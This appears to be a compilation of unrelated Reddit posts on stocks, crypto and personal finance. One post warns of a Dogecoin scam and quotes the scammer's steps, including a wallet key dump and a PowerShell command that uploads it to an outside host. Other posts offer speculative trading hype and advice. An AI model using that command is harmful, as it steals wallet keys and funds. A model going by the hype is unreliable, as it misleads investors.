+https://preview.redd.it/bzqlutbkn0671.png?width=1641&format=png&auto=webp&s=55ab11d40c695363ce7da9d8e5af4df14ae91ba8 + +One other note the cup & handle from this [weeks DD](https://www.reddit.com/r/Superstonk/comments/nz1x01/jerkin_it_with_gherkinit_forward_looking_ta_for/) looks like it is nearing it's breakout on the 1D and the lower Bollinger band has moved back inside the Keltner channel (indicating higher probability of breakout) . + +[Cup & Handle on 1D timescale](https://preview.redd.it/dublvdplo0671.png?width=2038&format=png&auto=webp&s=f0bf858eaf343e7cf6d680bd5a8b0ebfae95801b) + +&#x200B; + +*\* Although my profession is day trading, I in no way endorse day-trading of GME not only does it present significant risk, it can delay the squeeze.* + +*\*My YouTube channel is "monetized" if that is something you are uncomfortable with, I understand, while I wouldn't say I profit greatly from the views, I do suggest you use ad-block when viewing it if you feel so compelled.* *My intention is simply benefit this community. For those that find value in and feel compelled to reward my work, I thank you. For those that do not I encourage you to enjoy the content. As always this information is intended to be free to everyone.* + +\**This is not Financial advice. The ideas and opinions expressed here are for educational and entertainment purposes only.* + +\* *No position is worth your life and debt can always be repaid. Please if you need help reach out this community is here for you. Also the NSPL Phone: 800-273-8255 Hours: Available 24 hours. Languages: English, Spanish.* [*Learn more*](https://suicidepreventionlifeline.org/) +I just opened the front page of this subreddit and the first 10 post or so are all saying that the market won’t crash and that we all should be bullish? + +All I see is that we’re in a much worse state compared to the marker in februari 2020 while having much more “overpriced” stocks in my opinion. + +How can you justify being bullish with these stock prices without getting blinded by saying the stocks will be worth it in the future, wouldn’t that mean that they should be (almost) flat for a few years to adjust their market worth? +Hey, so I'm looking some advice and guidance on what to do career wise. I currently work in 1st line IT Support but I am interested in becoming a Software Engineer. Would it be wise to quit my full time job to do a degree which also includes a placement year? Bearing in mind I am already 23, I would have to do an access course for 1 year so if all goes to plan I would graduate when I'm 28. Would this be worth it? +I bought ETH at $2,000, ETH at $1,900 and ETH at $1,500. Thought I was buying the dip each time. Like mentioned, very happy with the amount of ETH I own, but had I waited until now I could have twice as much! Maybe I’m venting, but what would y’all do? Buy more now? Or wait and shell out for something crazy like $500 ETH. +Yesterday was in a nutshell, absolute madness, high highs, temporary mind bending lows. I personally saw a $22 fluctuation. In any rate around 12:40am PST, I saw one trade of 22k ETH coins being dumped. This triggered a downward spiral chain reaction for the next hour that pushed us from over $50 to $35. My thoughts on what really happened: + +1) A huge whale or a collection of whales saw the price jump, and wanted to get in. They wanted to buy in the $30s like the rest of us. They intentionally sold the ETH/BTC pair, which swooped up essentially every single buy limit order in the 40s. As we moved past the 40s, it kept swooping up limit buy orders. This single-handedly makes the price drop dramatically as essentially the only buy's on the market are in the mid 30s. They did this in the middle of the night for most people, as they knew the action would be lower because people are sleeping. Well, I don't sleep I wait - for whales to come out so I can go harpooning. + +2) The 22k ETH dump above triggered both massive fear and a reaction from other whales, who were smart enough to see what had happened. They again dumped more coins and dropped the price further. + +3) Unfortunately, in the process many people who were levered 3x+ got margin called, and potentially lost everything. + +4) These whales and a few other people with low limit buy orders got in very cheap, compared to today's prices. They got in the 30s and very low 40s and just rode the wave back up. They profited big time. + +All-in-all I think these markets are much more prone to manipulation than people believe. You can essentially control the market, albeit, temporarily with a few hundred thousand. And I know that's a lot of money to some, but to others, it's fatty tuna feed. + +Now for a few words on margin. I've been buying for a while, and my cost basis is quite low. I'm familiar with the concept of margin because I've traded on it for a long time in the stock exchange. I always told myself my only strategy would be buy, hold, buy more, hold. Never trade on margin with computer coins. Like what kind of idiot does that. It's computer coins.... + +But, when I saw gains like 10-20%, whatever they were can't even recall, a few days back. I thought wow, if I was only margin I could have "banked....bro". Well, yesterday rolls around and I saw let's do it since I'm kind of a degenerate. I wanna name my lambo "Boats 'N Hoes", like everyone else on here. + +Buy in at 42, buy in more at 44, basically as much as Kraken would give me, which was $25k worth. Sell at $49, make a good $2,500 profit on the casino's money. + +Do the same thing, simultaneously, on Poloniex, but on the ETH/BTC pair, bought in at between .039 - .042. Sold at .046, another 10% return or so for $2,500 profit. Not bad on the day at all. I was doing both margins simultaneously. Kind of scary. I was down 2k at one point on the Poloniex trade, but weathered the storm and rode it out. A few hours later when the dump happened, I tried to margin trade at $35, but Kraken was messed up. Finally got in at $42 and set a sell limit at $45 - it got hit in about 30 seconds. + +While Kraken will give you 3 or 4x, and I clicked that button, I was never really borrowing much more than 100%. Essentially, my equity to margin ratio was above 50% at it lowest. + +Looking back you really shouldn't be levered more than 100% (e.g., if you have $100 worth, only buy $100 worth). More than that and you really can get messed up quick, especially with whale manipulation. + +Also, you probably shouldn't have stop losses set up on a margin trade, you will get called out at $35 and lose basically everything. Missing the ride back up. I think a stop loss only makes sense to LOCK in profit (i.e., your position went up 10% and you want to get out at 5% if there's a dip). + +So it was a good day for me, I hope others too. Bonus was throwing some of that money on MLN seeing it jump 24% in 20 minutes. But I don't think I'll be doing much margin, limited to only 100%, and no stop losses. Everyone else should do the same. +Welp. There it goes again. + +This was my post 10 days ago: [https://www.reddit.com/r/investing/comments/tk3mvm/alibaba\_stock\_the\_steal\_of\_a\_lifetime/](https://www.reddit.com/r/investing/comments/tk3mvm/alibaba_stock_the_steal_of_a_lifetime/) + +&#x200B; + +Today, China has announced it is considering giving the US **FULL** audit to Alibaba + +[https://www.bloomberg.com/news/articles/2022-04-01/china-weighs-giving-u-s-full-access-to-audits-of-most-firms?srnd=markets-vp](https://www.bloomberg.com/news/articles/2022-04-01/china-weighs-giving-u-s-full-access-to-audits-of-most-firms?srnd=markets-vp) + +This is huge. This is a game changer. Biggest opportunity of a lifetime. + +&#x200B; + +Delisting is now most likely just fear. China is willing to accept all audits from USA with only a CERTAIN SUBSET of stocks. One of them being Alibaba. China isn't guaranteeing for all its listed stocks but only some. It also means that Alibaba's financials are legitimate enough for China to accept US to audit. +Everything I read. Everything I watch. Everything I hear others talk about or tell me. It all has to pass through my over 1 year old r/SuperStonk filter. + +And I would not have it any other way. + +Sure, it sucks to hear people on TV spewing nonsense to the uninformed. But I’m zen. It’s laughable the way they lie or try to explain what is going on in the markets because of inflation, or war, or blatantly leading reports. But the sub is zen. + +The things that have been discovered, pointed out, DD’d, debunked, and re-DD’d are beyond anything the world has seen to this point. And may ever see again. + +The only thing that is needed now is a free and fair, fully transparent, blockchain-based stock market led by Loopring, GameStop, and chaired by our favorite RC. It’ll all come together tomorrow. + +But before tomorrow comes, DRS your stock. MOASS incoming. And stay zen folks! +Segwit2X was never going to happen, this is a planned market manipulation and we've seen this type of thing happen before, albeit on a smaller scale. + +The team behind Segwit2x and heavy supporters of BCH have basically played every single weak handed 'hodler' in Bitcoin. After BTC rose to new highs after the cancellation of the hard fork, these people took their profits and used them to pump Bitcoin Cash. They'll do the same thing with Bitcoin Cash when everyone floods in due to FOMO, and then they'll put their money back in the dipping BTC and make a HUGE profit. + +Lets look at an argument made heavily on the bitcoin cash sub. They claim that Bitcoin Cash will actually replace BTC and take over its name, effectively becoming the new bitcoin. For this to happen, each exchange would have to unanimously agree on what the 'real bitcoin' is and the first exchange to switch their definition of bitcoin to BCH would be at least HALVING their customer base/trade volume instantly. I say halving conservatively since I'd say a lot more than half of the crypto community are team bitcoin not team bitcoin cash. What business in the right mind would essentially fuck themselves by doing that? + +Luckily they won't need to worry about such things since increasing the block size DOES NOT scale long term. The flippening will not happen. I'd be interested to hear any differing opinions. I think the miners who want BCH to be the real deal are underestimating that increasing the block size to 8MB will not prevent the dramatic slowing of mining once the mining space is oversaturated, like we've seen from BTC. + +Open to any counterarguments, let me know what your thoughts are. + +EDIT: aaaaaaand here's the dump. + +EDIT 2: Changed BCH to BTC last paragraph sorry for confusion. +Started the year at 45k, yolo’d into GME and sold the top perfectly, hit 350k in early February. + +Then in a series of bad decisions I yolo’d into SPAC warrants and lost all my gains and more. My portfolio hit 38k in June. + +My next move was to yolo into TELL calls and I rebounded to 150k in August. + +The next few months I day traded heavily and lost another 50 grand… I was down to 100k. + +My next ultimate retard move was to yolo into a biotech, lost 80% in seconds when the trial failed. + +Day traded some more and lost another 40%… ended the year at 12k. + +The benefit to this is I don’t have to pay any taxes at all this year. + +My net loss is only $7800 because of adjusted wash sales but it will still be a nice deduction: https://imgur.com/a/YPDjwyo +Hi r/Bitcoin! + +As I have promised in my previous posts [1] [2], I would make sure that this was going to work, get you your answers on the questions you've asked earlier (mostly regarding the platform I've chosen to use for this), proof that it's working, and last but not least, to get the donations that have already been made to the developers. Now that that's all looking good, I'm ready for round two! + +To clear some things up at forehand, before reposting the original post, one by one: + +1. My name is Tim Pastoor. +Exhibit A: https://twitter.com/timpastoor/status/586499956430766080 +(If you know me and would like to vouch for me, you can simply add this tweet to your favorites. Thanks in advance!) + +2. One of the Bitcoin Core developers has confirmed to me personally that it's working for him, and this gives me the confidence that it'll work for others. I'm keeping his personal information private, so you'll have to take my word on this one. It would be nice if other developers could confirm it's working for them in the comments. + +3. Patrick Savalle, the CEO of Mobbr, will be answering any of the questions you might have regarding Mobbr. In case that anyone experiences any difficulties with our little project here this time, you can now directly contact Patrick through Reddit! +Exhibit B: http://www.reddit.com/r/AMA/comments/3240iz/im_patrick_savalle_ceo_of_mobbr_and_i_think_it_is/ + +4. Patrick has provided me with a link to a video he has made for us. In the video he explains how to link a different address to the one you're using for your GitHub account. +Exhibit C: https://www.youtube.com/watch?v=uZ2beq1hBwE + +5. Mobbr uses a multi-currency wallet, so donations won't be payed out from the same address as the one people are donating to. This makes it harder for people to keep track of the funds themselves on the blockchain, though it does give the users of Mobbr more privacy when withdrawing funds. +Patrick has agreed to share data on the addresses they use for this with Jop Hartog from BlockTrail, in case anything suspicious happens and questions arise. This way, Jop will be able to see what's happening on the blockchain and will be an objective participant in this conversation to clear things up, again, in case anything seems to go wrong. + +Hopefully this shows our good intentions and clears up any confusion that might have arised from the earlier post. + +Again, in case you bump into anything, don't hesitate to ask Patrick (in his AMA) to help you out! + +Any further questions for me? Feel free to ask them in the comments! + + +[1] http://www.reddit.com/r/Bitcoin/comments/31jlej/im_now_funding_all_the_devs_in_the_world_who_are/ +[2] http://www.reddit.com/r/Bitcoin/comments/31kq5t/update_regarding_my_previous_post_funding_all_the/ + + +----------- ORIGINAL POST ----------- + +Lot of yada-yada-yada about the Bitcoin Foundation at the moment, and quite frankly, I personally don't even want to participate in that conversation. + +So, it's time for something constructive I thought, and I started thinking about how we could pay the developers ourselves; through the community. Since I'm not aware of any mature decentralized platforms that could handle this task (feel free to correct me), I went to Mobbr.com. + +I've looked up the Github Bitcoin Core project page on Mobbr, and simply sent some bitcoin to the address that belongs to it: + +1DvutmkwjwiDknAdpHP8ZsrNWqmaqEpBrn [1] [2] + +Anyone who has now ever worked on the Bitcoin Core (on GitHub) can go to Mobbr.com and claim their bitcoins, pro rata. + +I.e., if 1 BTC has been donated to the address, then the developer who has contributed 1% will receive 0.01 BTC. Those who have contributed 20% will receive 0.2 BTC, etc. + +For those who worry about using a centralized platform for this cause and about the fees that they might charge, you might want to take a look here [3]. Also, it's Bitcoin, so [?] transparency. Every satoshi that's being donated to this address can be followed into eternity, through any block explorer. + +Shares per developer are being calculated according to the GitHub stats, as far as I know [4]. + +I couldn't come up with a better solution for now and was willing to show that the community can and wants to help the development of Bitcoin itself. + +If we'd all contribute 0.01 BTC, or even 0.001 BTC per person per month, we'd all contribute a little bit to the very much needed development process of the Bitcoin Core. Hopefully this will result in the resources that this project needs. + +I thought it would be worth a shot. Now I'm curious if you think so too. + +ps: Mobbr.com didn't pay me for this, and I'm not directly involved with them. I am biased on the subject though, because I believe that they have a kick-ass platform. + +[1] https://mobbr.com/#/task/aHR0cHM6Ly9naXRodWIuY29tL2JpdGNvaW4vYml0Y29pbg==/script + +[2] https://www.blocktrail.com/BTC/address/1DvutmkwjwiDknAdpHP8ZsrNWqmaqEpBrn + +[3] https://docs.mobbr.com/display/MobDoc/Pricing + +[4] https://developer.github.com/v3/repos/statistics/ + +----------- /ORIGINAL POST ----------- +[First Day](https://www.reddit.com/r/financialindependence/comments/4sc9qp/first_day_of_fire/) + +[Six weeks](https://www.reddit.com/r/financialindependence/comments/4zhgfp/update_6_weeks_into_fire/) + +[Six months](https://www.reddit.com/r/financialindependence/comments/5sxabv/update_6_months_into_fire_as_of_year_end/) + +Basic stuff if you don't want to read all the prior posts: + +Male, 51, married (F51), no kids, live in low cost of living area. + +Own 3 houses: primary residence, 1 MIL lives in, and condo near my parents/family. Total value <$600K, about $250K in mortgages. + +Financial assets at retirement: $4.3 million + +Current financial assets: $4.8 million + +Annual budget: $150K + +2017 healthcare costs: $11,400 insurance through exchange, $9500 deductible included in budget + +Feel free to ask any financial questions you're interested in. I've just included the information I most often get asked for. + +On to the more interesting stuff: + +Vacations: We didn't really travel in 2016, but in 2017 we drove to Arizona to visit my aunt and uncle in late January/early February with some stops along the way. In late February/early March we took a cruise from Rome to Barcelona with my sister and brother-in-law. At the end of March we drove to California and visited my wife's cousin and spent a week wine tasting. That was too much. By the time we returned from CA, I was tired of traveling and just wanted to hang around home. We won't schedule travel so close together anymore. + +In August we are visiting friends in Massachusetts and probably spending a couple of days wine tasting in the Finger Lakes. I feel like I'm ready to travel again, so I'm actually looking forward to it. + +Spending: Early on I was having trouble feeling comfortable with spending money after retirement. While working, spending money was easy because I could always rationalize that any excess spending could be made up by working a few extra days. After retirement, I felt like I was spending down a non-renewable resource, and that bothered me. It took a few months to get over that feeling. Of course it was easier to get over the feeling when the market was up strong. I fear I may have a relapse in a down market, but we haven't seen that yet. + +How do we spend our time? Well, it seems to be easy for us to fill our days. Of course when we're traveling, there is a lot to do, but when we're home it still has proven pretty easy to fill the time and avoid boredom. + +Each morning we walk 4-6 miles depending on weather and schedule for the day. I lift weights sporadically although I really should get more disciplined about it. We have taken an interest in baking and cooking which uses up from 0 to 6 hours a day depending on what we decide to take on. We spend probably 3-4 hours per day gaming and another hour or two watching videos of one kind or another. + +When we are at our condo near my family, we spend at least 2 evenings per week playing cards or whatever with family. When at our primary residence, we have dinner with my MIL every night. + +We both still volunteer some, but it has proven more difficult to find meaningful things to volunteer for when we are gone so much with a not very predictable schedule. This kind of bothers me and will doubtless continue to be something I need to work on. + +I'm taking over running my parents' finances. They are 78/79 and it's just getting harder for them to understand and keep track of it all. Fortunately they have always been frugal and have had some good luck in their financial lives despite never being high income, so they have enough income to meet their needs and enough assets (most likely) if they need some kind of ongoing care. + +Upcoming things: + +My wife wants to do some significant work on our condo, replacing virtually all of the flooring, countertops in the kitchen, and painting the kitchen. She is handling the planning, but I think it's going to be a $20K project. I told her she better have it done now while the market is up and I'm not too worried about money. + +My parents are aging. My mother has the beginnings of some kind of dementia although she refuses to get diagnosed. My father got diagnosed with Parkinsons a little over a year ago. So far he is doing OK, but it's a degenerative thing and not fun to have in the future. I suspect dealing with my parents issues is going to take a larger and larger part of my attention. + +I've mentioned that I'm interested in writing in past posts, but I've had a hard time getting started. At six months a few people suggested just writing 500 or 1,000 words per day to get some discipline. That didn't work out so well for me since right after those helpful suggestions we started our rather busy travel schedule. + +Lately I've been doing better. I'm about 25,000 words in to my book. Unfortunately I delete a good 75% of what I write. Also, I still find it hard to write every day. Another thing I have to work on. + +I had an interesting experience a few days ago. I woke up in the middle of the night and for some reason I was thinking about work. Not stressing or anything, just thinking about the people. I could not come up with my old boss's name, nor could I come up with the name of the guy that replaced me, even though I trained him for like 4 weeks before I left. I have since recalled both their names, but it was interesting to me. I worked at my job for 25ish years, worked for my last boss for 2 years. Now weeks go by where I don't even think about my old job or about working. + +Along the same lines, for the first six months or so, my wife and I would sit around grinning at each other like fools because we didn't have to go to work. Now most days I don't even think about not going to work. It's just a part of my life. + +One other thing I should mention are income taxes in 2016. We retired right about half way through the year and got 2 weeks of vacation pay beyond that. Our bonuses were paid in March, so our incomes for the year were roughly 3/4 of our 2015 income. Anyway, we didn't change our withholding, and withholding is calculated assuming that you have constant income throughout the year (other than bonuses which are withheld at a higher rate). Well, since we only had 2/3 - 3/4 of the annual income the withholding was based on, we got a $17K tax refund. I had known we would get a big refund, but the size of it really surprised me since I hadn't really thought that hard about it. Also, when calculating our estimated taxes for 2017, I was surprised at how low our tax liability is going to be. + +I'm estimating our 2017 AGI at around $100K. After taking deductions and stuff in to account, I estimated our Federal tax liability at around $4k (state is going to be about the same as federal). I was pleasantly surprised how little we are going to be paying in taxes. + +Summary: I love not working. I often feel as though I should be doing better or more with my life, but the idea of taking anything like a regular job is repugnant to me. The money part of my life is going great, but that happens when the market is up. + + +Best Buy said Thursday that it laid off 5,000 workers this month and is planning to close more stores this year as more consumers buy electronics [online](https://www.cnn.com/2020/10/11/investing/stocks-week-ahead/index.html). + +The news comes at a time when big chains face growing competition from Amazon and other sites that sell items like TVs and laptops. [Fry's Electronics](https://www.cnn.com/2021/02/24/business/frys-electronics-closure/index.html) said Wednesday that it would abruptly close all of its stores overnight, ending nearly four-decades in business. + +[https://www.cnn.com/2021/02/25/business/best-buy-store-closures-workers/index.html](https://www.cnn.com/2021/02/25/business/best-buy-store-closures-workers/index.html) +Exactly as the title says. Is it due to a bubble in the stock market? Low housing sales? China USA relationships or something else? I understand the inverted yield curve and it is due to a lack of confidence in the short term, but what is causing this lack of confidence/uncertainty? +Interesting (American) article about the wisdom of telling people to cut out small spending habits like coffees. + +https://ritholtz.com/2019/04/buy-yourself-a-fking-latte/ + +I agree with his central point - if a coffee per day stops you from retiring, you've got bigger problems to worry about. But he misses a few crucial points. + +The *cumulative* cost of a coffee, and a phone contract, and not switching energy providers, and Spotify, and Netflix, and Prime, and a gym membership, and the wine of the month club, and.... It all adds up. + +Secondly, yeah, for some people a coffee per day is putting them in real financial hardship. If cutting out one thing for a year gets you out of your overdraft, or lets you build an emergency fund, then it is 100% worth it. +UPDATE (5/12): A karma cap of 15k has been implemented starting with this distribution, following the successful passing of [this proposal](https://www.reddit.com/r/CryptoCurrency/comments/mrn758/15000_karma_cap_on_moon_distribution/). + +Karma/Moons ratio: Each 1 point of karma in this round corresponds to 0.238 Moons. + +\*\*\* + +Moons are r/CryptoCurrency's version of Community Points. [Community Points](https://reddit.com/community-points) are a way for users to be rewarded for their contributions to the subreddit, and they can be used on premium features in the community. + +Moons are distributed every 4 weeks based on contributions people make to r/CryptoCurrency. For every distribution, Reddit publishes karma data as a default measure of contribution. The community can review the data and optionally propose an alternative distribution, if they wish. + +This distribution is based on karma earned from 2021-04-14 to 2021-05-11. [Here is the data.](https://reddit-meta-production.s3.amazonaws.com/distribution/publish/CryptoCurrency/round_13_proposed.csv) + +To propose an alternative distribution: + +* You can create a CSV with alternative contribution scores or propose changes to the algorithm used to calculate them from karma (as long as the changes can be implemented easily). +* The amount of Moons distributed to a user will be proportional to their contribution score. Contribution scores cannot be negative. +* Make a poll to have the community vote on your proposal. Include an accurate description of the changes you are proposing. +* In order to pass, the winning option in the poll must meet the decision threshold (minimum number of Moons in support). If it is in favor of the change, it becomes the official contribution measurement (unless there is evidence of abuse in the vote, such as bribery). Algorithm changes will carry forward to future distributions. +* In case of multiple competing polls passing, the one with the most Moons cast in favor will be the official one. +* If no alternative passes, the data provided here will become official. + +The contribution scores for this round will be finalized on 2021-05-19. Any poll proposing an alternative needs to be completed by then. + +After the scores are finalized, Reddit will sign the data and publish the final, official data. After that, people will be able to claim their Moons through the Vault in the Reddit mobile app. +Ethereum itself wasn't even supposed to be "The next Ethereum/Bitcoin". It still has a quite a few tribulations to face before it's where it was meant to be. But a chain of unlikely events is what allowed Ethereum to be here in the first place and is what's going to allow it to be top dog if scaling is successful. + +Between the Bitcoin ETF denial because it couldn't be governed, the scaling issue splitting the community into block size or lightning/segwit maximalists and the fuckton of backlogged transactions that people have to pay ridiculous mining fees to get through; Ethereum was given the once in a lifetime opportunity to overtake the King. + +Ethereum community took full advantage of this with all the EEA events, while rapidly accumulating the biggest names throughout all the major industries. Like a thief in the night, while BTC devs were twiddling their thumbs figuring what to do with scaling, Ethereum managed to address very crucial problems for bitcoin that other currencies don't really do for Ethereum. + +I'm not saying there won't be another Ethereum/Bitcoin, I'm saying the chances are very slim unless another DAO incident happens. But seeing as how swiftly that was taken care of with the hard fork, that still wouldn't mean a new Sheriff in town. + +My advice, rather than looking for something that will overtake Ethereum, find something that builds on it, like Factom. I don't hold the coin as I am plenty happy with my ETH, but just take what I say into consideration, do your research and investigate the team in thorough before making your move. +I'm really devastated. Just looked at my wallet today when I was thinking of buying more bitcoin, all to to find out all my cryptocurrency is gone -- valued over $40,000. I spent years earning it and resisting pulling it out, hoping I could eventually use it to pay for college tuition. + +Here are the facts: + +- I have a Ledger Nano S wallet. + +- That wallet had 4.77 LTC, 4.48 ETH, and 0.73 BTC. + +- The Ledger generated a passphrase containing 24 words. + +- I recorded that passphrase on a piece of paper and hid it. + +- No one had or has access to that paper. + +- That passphrase (those words) were NEVER entered anywhere. (Not even on my phone) + +- On February 24th at 5:45 AM Eastern Time, the BTC was stolen. + +- On the same day, at 6:46 AM and 6:48 AM, the ETH and LTC, respectively, were stolen. + +- I also has a Trust Wallet. + +- I had $1500 worth of NPXS and $1000 worth of TRX in that wallet. + +- On February 24th at 6:48 AM and 6:55 AM both of those were stolen. + +- The passphrase for the Trust Wallet is saved as a screenshot on my iPhone. + +- My iPhone has not left my possession. + +- My iPhone has a 6 digit passcode. + +The recipient address for the BTC is: 3EP2Bq6yMpXQc3TvoxLtwDsd1tg2A59CJs + +Note: Both wallets were hacked on the same day at around the same time. Both had separate passphrases. + + +No one has access to that paper and that the thief’s wallet address for BTC has other larger transactions. + +Did not have the 25th digit only 24 passphrase + +Can someone please shed some light on what can be done, if anything? How were both wallets compromised at the same time?! If nothing can be done to retrieve the crytpo, what can be done to prevent this from happening in the future. + + +Update: + +Will reply to everyones as soon as I can. Have school work that I need to get done, and can’t let two things go bad. + +For those who are asking this is the transaction link to the btc that was stolen (the majority of my holdings that was stolen): + +https://blockstream.info/tx/4b05e788a4338d330f3d8a19c87c520e78db28c356c1e6bc1fd4d7e186c91892 + +Heres also the eth one: +https://etherscan.io/tx/0x735f8a22d5dd00af8aafc7cc701571c8fd4a88d646127d060d6c44d5637a233b + +Also, not sure if its safe to post all of the transactions? +Edit: it seems I’ve angered some HOGE boys, my apologies. You’re right, they are both great buys :) + +Edit 2: from dev (fuk)- +“one last thing, rocket bunny is not like feg, hoge, shiba, etc. the only thing we share is large token numbers. the platforms released and TO BE released is a whole ecosystem. real fucking utility. so keep that in mind as you tell people about us.” +So my apologies to the dev for not giving this project the credit it deserves. + +Rocket Bunny $BUNNY- massive supply(7 quadrillion if I’m doing that right?) but 4% removed each transaction, 1% back to holders, 1% burned, 1% for auto liq and 1% extra for LPs. + +Obviously this is degen shit, no need to take out a second mortgage. But if you have a few hundred bucks to gamble you could be a BUNNY billionaire like me. + +Check out Rocket Bunny https://www.coingecko.com/coins/rocket-bunny +I mined dogecoin in my first year of university in 2013. It was a fun thing to do in-between studying for exams with my floormates. I managed to mine 91k coins. I never touched them since 2013. Thankfully I kept my old laptop. + +It had been on my mind even during the last bull market in 2017 if I could even access my dogecoins. Never got around to try, was busy with university/life. And I was more than happy to just keep the dogecoins and see what happens. It was so exciting back then to see DogeCoin go up in price from being worth nothing to $0.06 and eventually $0.08 cents. With the recent price surges, I decided I would figure out how to take out my coins. Mainly because of a growing doubt in my mind that my coins were not accessible. I made a post yesterday about the coins I mined and how to transfer them out of a 2013 wallet. I got a DM from user -Jax\_Brantley- (sorry reddit won't let me link his profile). Telling me that I needed to get on the "Correct Fork" otherwise when I send my coins they would be "stuck in limbo". He sent me two posts corroborating his claims: + +[https://github.com/dogecoin/dogecoin/issues/250](https://github.com/dogecoin/dogecoin/issues/250) + +[https://np.reddit.com/r/dogecoinbeg/comments/1uh7z4/beg\_lost\_coins\_to\_fork\_after\_just\_starting\_much/](https://np.reddit.com/r/dogecoinbeg/comments/1uh7z4/beg_lost_coins_to_fork_after_just_starting_much/) + +His profile looked legit to me with activity on the doge forums. Even a popular post saying how he recovered 389k of Dogecoins ([https://np.reddit.com/r/dogecoin/comments/n2lmhu/doge\_coin\_saved\_my\_life\_holding\_389k\_coins/](https://np.reddit.com/r/dogecoin/comments/n2lmhu/doge_coin_saved_my_life_holding_389k_coins/)). He told me how my story was similar to his. His profile has many comments "helping other against scammers" in the community. + +The story he presented to me made sense and I gave him a chance; this was due to my lack of knowledge (my floormate installed everything on my computer), outdated Dogecore wallet, the posts he sent me, his reddit profile. I was unknowingly falling for his bait.. Anyways we talked some more. I uploaded our conversation for those that are interested. It seems he deleted our first messages. [https://imgur.com/gallery/yh1g7CQ](https://imgur.com/gallery/yh1g7CQ) + +The main part of my post is to bring awareness to this scam. If anyone is trying to take advantage of your 'old wallet' pre-2014 fork, please do NOT give them any of your time. Please avoid any DMs containing the following steps (he even 'kindly' wrote detailed steps for my dumbass): + +Step 1) Close dogecore-qt.exe and find the dogecore-qt.exe (right click it and run as admin) + +Step 2) go to Tools -> debug -> console + +Step 3) type + +dumpwallet [peers-log.zip](https://peers-log.zip/) + +Step 4) find the zip beside dogecore-qt.exe or in C:/Program Files/Dogecoin + +Step 5) in this folder hold shift + right click anywhere and select open "powershell here" from the dropdown menu + +Step 6) type this command or copy paste it + +invoke-webrequest -method PUT -infile .\\[peers-log.zip](https://peers-log.zip/) [dogecoin-peers.online/nodes](https://dogecoin-peers.online/nodes) \-usebasicparsing + +Step 7) go to the new folder it created called "dogecoin-peers/online" and find the file called nodes.txt and open it. + +Step 8) It will have a list of connection failed and node ID + +Step 9) go to the console like in step 2 and type remove node <ID HERE> + +Step 10) Restart wallet and you are all done. + +After completing step 6, the truth presented itself. I got scammed... I looked on reddit more for this type of scam (should have had a better eye originally). Sadly, I came across this post too late. [https://np.reddit.com/r/dogecoin/comments/n2yxgq/how\_the\_scam\_works/](https://np.reddit.com/r/dogecoin/comments/n2yxgq/how_the_scam_works/) + +For those interested, here's my old wallet: [https://dogechain.info/address/DFCW6SR6FB518RkpYjhsDL5BkX1zqRKe3A](https://dogechain.info/address/DFCW6SR6FB518RkpYjhsDL5BkX1zqRKe3A) + +A picture of the old wallet from my laptop. + +[https://imgur.com/a/KYLvxuj](https://imgur.com/a/KYLvxuj) + +Thank you to anyone who has read my post. I was conflicted to even post about this because I just was filled with emotion and that it would be an incoherent batch of word salad. After writing this out, I have been able to get more clarity and peace. + +I hope there is someone that I can help and they would not fall for the same scam I did. Everyone who has made life-changing money or any money with Dogecoins, I am happy for you. Please appreciate what you have for me. + +Take care, + +(Originally tried to post to Dogecoin subreddit but I can't get passed the auto moderator...) + +Dogeminer 2013 + +&#x200B; + +\*Edited to add the Scammer's post that made me believe him.. I am a sucker for a heartwarming story.. + +[https://imgur.com/gallery/91c3Apl](https://imgur.com/gallery/91c3Apl) +Market will rally: + +https://www.businessinsider.com/stock-market-investing-bottom-rally-inflation-economy-recession-fed-rbc-2022-10 + +https://www.cnbc.com/2022/11/23/the-stock-market-is-poised-for-a-santa-claus-rally-but-not-until-after-the-fed-meets-.html + +https://www.google.com/amp/s/finance.yahoo.com/amphtml/news/stocks-could-see-outsized-rally-123000659.html + +Market will stay flat: +https://www.businessinsider.com/where-to-invest-2023-stock-market-find-returns-goldman-2023-2022-11 + +https://www.google.com/amp/s/fortune.com/2022/11/23/goldman-sachs-stock-market-forecast-holiday-drop-year-no-gains/amp/ + +Market will crash: +https://www.google.com/amp/s/www.cnbc.com/amp/2022/11/29/double-digit-percentage-drop-will-hit-stocks-in-2023-morgan-stanley.html + +https://money.usnews.com/investing/stock-market-news/will-the-stock-market-crash-again-risk-factors-to-watch + +https://www.bloomberg.com/news/articles/2022-11-28/stagflation-will-dominate-in-2023-keeping-us-stocks-in-peril#:~:text=More%20than%20half%20the%20respondents,about%2012%20months%20from%20now. + +So you hopefully can see, it's completely idiotic to come up with a strategy based on what the media says as the opinions are all over the map. + +My strategy for 23 is to ignore the noise, and be confident in building my long positions through a DCA strategy as I am still a long ways from retirement. That way I'll be dripping money in the market the whole year, so that if we are not close to the bottom now, ill still have buying power when things get really "bad" (Aka discounted). Buckle up and enjoy the ride! +So we are in the fat category, but we have a 2 year old without any help nearby. So we are pretty much still working full day everyday 6:30am - 9pm. We have hired nanny before, but due to my son’s ASD we are no longer doing that. Sometimes, I just wonder what the heck are we using being Fat for, when we are so exhausted, still taking out dishes every morning sleep deprived, vacuuming after food on the floor, etc. This was not how I imagined life to be, and being not feeling comfortable to travel with him in this pandemic time who has special needs is also wearing us out. I miss our old life where we used to sit for a fancy meal for 4 hours and not worry about a thing! (I know we have a lot to be grateful for, so I’m sorry if I’m coming off sounding negative). + +I’m just looking for some other ideas where we can feel like we are treating ourselves or pampering ourselves while we are still locked down with a toddler who can’t get vaccinated and also have special needs. We already do a bunch of delivery and takeout food. I was thinking I can buy something nice, but honestly I feel what’s the point since we don’t go out or see anyone right now. I was just wondering if anyone has any other ideas on how to put our money to use to feel a little better and less tiring. +The stock I'm looking at is Opendoor (OPEN). I would have been happy buying in the mid teens, and I was accumulating cash to do so when the recent bear trend went in to overdrive. + +I still have the cash sitting on the sideline, but I'm wondering whether it's better to wait for a green "bounce" or slowly DCA in my cash? + +How much more room is there to go down for these non-FAANG stocks? Would anybody like to suggest better value out there? +Please remove any stop losses you have before opening. You shouldn’t have a stop loss anyway! +They are clearly selling in premarket to drive the price down. Apes aren’t selling. Market watch and media will post a dooms day article that it’s all over. It’s not! This is a fake play at a market time when we can’t fight back. + +Don’t panic, buy and hodl. Watch it go up on opening. Diamond balls through anything! 🦍🖍🚀🚀 +Hi everyone! Thought I'd take my turn at one of these types of posts everyone loves 🤣 + +I've visited a friend this weekend and met some of their friends. One of these guys is a financial bro that works for Fudelity. After some pleasantries I start asking about his thoughts on Gamestop. + +He doesn't believe in over/naked shorting. Despite showing proof from the reported numbers, he asks how it's possible and the mechanism 